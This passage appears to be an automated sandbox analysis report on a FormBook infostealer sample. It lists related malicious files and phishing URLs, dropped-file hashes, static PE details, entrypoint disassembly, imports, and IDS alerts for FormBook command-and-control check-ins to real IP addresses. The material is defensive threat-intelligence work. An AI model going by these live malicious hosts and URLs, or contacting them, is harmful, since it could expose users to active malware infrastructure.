	mBms4I508x.exe	Get hash	malicious	FormBook	Browse	209.74.64.189
	PO-000172483.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
	#10302024.exe	Get hash	malicious	FormBook	Browse	209.74.64.58
	http://1lyiqb.recodifyphone.net/#john.smith@ups.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	209.74.95.101
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	209.74.95.101
CONTABODE	SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	REVISED PO NO.8389.exe	Get hash	malicious	AgentTesla	Browse	164.68.127.9
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	evhopi.ps1	Get hash	malicious	LummaC	Browse	173.249.62.85
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	161.97.132.254
	https://v90hdblg6c012.b-cdn.net/ppo45-fill-captch.html	Get hash	malicious	LummaC	Browse	173.249.62.84
	Ponta Saheb. PO 4400049817.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	161.97.168.245
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	161.97.142.144

Process:	C:\Windows\SysWOW64\write.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uppishly

Download File

Process:	C:\Users\user\Desktop\r6lOHDg9N9.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.994949598457176
Encrypted:	true
SSDEEP:	6144:yKFK1UgOExwPWioLF7AmbrPn6kPsRNuXtMtaBP5ix58xF:yxbxVL1zrPN0/0tjiWF
MD5:	074E4506270BBB0EE4A0A262B68FBFF8
SHA1:	B06AE4F399E47C2AB07DD936E7316C5B7C1FC4DC
SHA-256:	64381E9DEAD1108CD35A33718B3FB0CD69CA4DCEDB653EB06D44C8683558A1FF
SHA-512:	812A75C829D4322E182ED836889509DA7D6CFBEE3787B7E792E2D7DD1B7FB4F81F54D2991ECA11BFDFF2BBA2131BA85BEBBEAE3F98DC436E4C020AF2B926B647
Malicious:	false
Reputation:	low
Preview:	.i.j.OTQ3n.>....UN....RN...3X8AOTQ36PW7ORRR95UM0W29QFQ5H3.8AOZN.8P.>.s.Su.t.X>A.!4>R:R5.".:?\Bp5Ro '<.\;mt.a.<)5Pf>U2eOTQ36PWNN[.oYR.pP0..1!./..!(.K...kW(.H...i-W.`P2.lU/.X8AOTQ36..7O.SS9..^nW29QFQ5H.X:@DUZ36.S7ORRR95UM.C29QVQ5HC\8AO.Q3&PW7MRRT95UM0W2?QFQ5H3X81KTQ16PW7ORPRy.UM W2)QFQ5X3X(AOTQ36@W7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29Qh%P0GX8A..U36@W7O.VR9%UM0W29QFQ5H3X8aOT136PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7ORRR95UM0W29QFQ5H3X8AOTQ36PW7O

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5185020842525345
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	r6lOHDg9N9.exe
File size:	1'339'905 bytes
MD5:	9f65c6e2192cc6757c1e7be556a4bc9a
SHA1:	c3f40bc0b721df2ac07997098ef6d9a8a8b4d290
SHA256:	bd12b7917d9fcc7512fa18d3546d728ec21c418f48a64333ec824937bd5b76c1
SHA512:	23c0b19323fea6ea5ee628d422c58404459a1feae442d78799dbfc2d5eb6b51ff8a21c80aac17e614fe82f893101436826191ca3dff99963259df625fb7bbf0f
SSDEEP:	24576:ffmMv6Ckr7Mny5QLF0H8hFCzhMUiQMC2XirYCcH/9ddSFi4YbXWTc:f3v+7/5QLLFCz+UV42YvH/97/ec
TLSH:	9555F112B7D680B2E9A339712977E327EB3576194327C4CBA7E02F768F211119B36361
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F6FBCEC625Ch
jmp 00007F6FBCEBA02Eh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F6FBCEBA1BAh
cmp edi, eax
jc 00007F6FBCEBA35Ah
cmp ecx, 00000100h
jc 00007F6FBCEBA1D1h
cmp dword ptr [004A94E0h], 00000000h
je 00007F6FBCEBA1C8h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F6FBCEBA1BAh
pop esi
pop edi
pop ebp
jmp 00007F6FBCEBA61Ah
test edi, 00000003h
jne 00007F6FBCEBA1C7h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F6FBCEBA1DCh
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F6FBCEBA1BEh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F6FBCEBA17Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T15:22:20.383399+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49730	TCP
2024-11-05T15:22:51.689391+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	55453	TCP
2024-11-05T15:22:56.464517+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55454	154.23.184.60	80	TCP
2024-11-05T15:22:56.464517+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55454	154.23.184.60	80	TCP
2024-11-05T15:23:20.484708+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55564	209.74.95.29	80	TCP
2024-11-05T15:23:23.026740+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55578	209.74.95.29	80	TCP
2024-11-05T15:23:25.564381+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55594	209.74.95.29	80	TCP
2024-11-05T15:23:28.155331+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55609	209.74.95.29	80	TCP
2024-11-05T15:23:28.155331+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55609	209.74.95.29	80	TCP
2024-11-05T15:23:34.284729+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55644	136.143.186.12	80	TCP
2024-11-05T15:23:36.834522+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55659	136.143.186.12	80	TCP
2024-11-05T15:23:39.407521+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55674	136.143.186.12	80	TCP
2024-11-05T15:23:41.940689+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55686	136.143.186.12	80	TCP
2024-11-05T15:23:41.940689+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55686	136.143.186.12	80	TCP
2024-11-05T15:23:48.464607+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55722	133.130.35.90	80	TCP
2024-11-05T15:23:51.027181+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55729	133.130.35.90	80	TCP
2024-11-05T15:23:53.581375+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55730	133.130.35.90	80	TCP
2024-11-05T15:23:56.136508+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55731	133.130.35.90	80	TCP
2024-11-05T15:23:56.136508+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55731	133.130.35.90	80	TCP
2024-11-05T15:24:01.885452+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55732	3.33.130.190	80	TCP
2024-11-05T15:24:05.324202+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55733	3.33.130.190	80	TCP
2024-11-05T15:24:07.009732+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55734	3.33.130.190	80	TCP
2024-11-05T15:24:09.525201+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55735	3.33.130.190	80	TCP
2024-11-05T15:24:09.525201+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55735	3.33.130.190	80	TCP
2024-11-05T15:24:15.620966+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55736	31.31.196.17	80	TCP
2024-11-05T15:24:18.167829+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55737	31.31.196.17	80	TCP
2024-11-05T15:24:20.714806+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55738	31.31.196.17	80	TCP
2024-11-05T15:24:23.261899+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55739	31.31.196.17	80	TCP
2024-11-05T15:24:23.261899+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55739	31.31.196.17	80	TCP
2024-11-05T15:24:29.154609+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55740	172.96.187.60	80	TCP
2024-11-05T15:24:31.721130+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55741	172.96.187.60	80	TCP
2024-11-05T15:24:34.222625+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55742	172.96.187.60	80	TCP
2024-11-05T15:24:36.778518+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55743	172.96.187.60	80	TCP
2024-11-05T15:24:36.778518+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55743	172.96.187.60	80	TCP
2024-11-05T15:24:42.790343+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55744	161.97.142.144	80	TCP
